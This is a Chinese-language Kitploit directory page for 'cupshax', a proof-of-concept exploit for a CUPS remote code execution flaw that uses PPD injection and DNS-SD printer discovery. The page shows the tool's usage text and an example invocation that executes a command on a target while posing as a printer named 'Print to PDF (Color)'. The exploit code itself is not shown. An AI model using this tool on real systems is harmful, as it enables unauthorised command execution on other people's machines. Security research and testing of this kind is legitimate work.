Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/rickdejager/cupshax
侦察网络映射漏洞利用渗透测试远程访问工具
GitHubrickdejager/cupshax

cupshax

针对近期 CUPS 漏洞的快速概念验证,该漏洞可通过 PPD 注入和 DNS-SD 打印机发现实现远程代码执行。可在易受攻击的 Unix 系统上执行任意命令。

查看仓库
2305851年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CUPSHax

针对近期 CUPS 漏洞的快速概念验证(PoC)。我原本打算做更多整理工作,但 embargo 解除的时间比预期早得多,所以代码写得有些仓促。

至于所有技术细节,说实话你应该直接阅读 Evilsocket 的分析文章。

该漏洞利用是在发现公开 OpenPrinting CUPS 仓库中的这个提交之后编写的。可能还有更简洁的注入点。

这个 PoC 使用 dns-sd 打印机发现机制,因此目标必须能够接收到广播消息,即攻击者和目标需要在同一网络中。

用法

该漏洞利用使用 zeroconf 和 ippserver,两者均可通过 pip 安装。

root@kitploit:~
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]

A CUPS PPD injection PoC

options:
  -h, --help            show this help message and exit
  --name NAME           The name to use (default: RCE Printer)
  --ip IP               The IP address of the machine running this script
  --command COMMAND     The command to execute (default: 'touch /tmp/pwn')
  --port PORT           The port to connect on (default: 8631)
  --base64, --no-base64
                        Wrap the command in base64 (default: enabled)

例如:

root@kitploit:~
python cupshax.py --name "Print to PDF (Color)" \
                  --command "id>/tmp/pwn" \
                  --ip 10.0.0.3
下载工具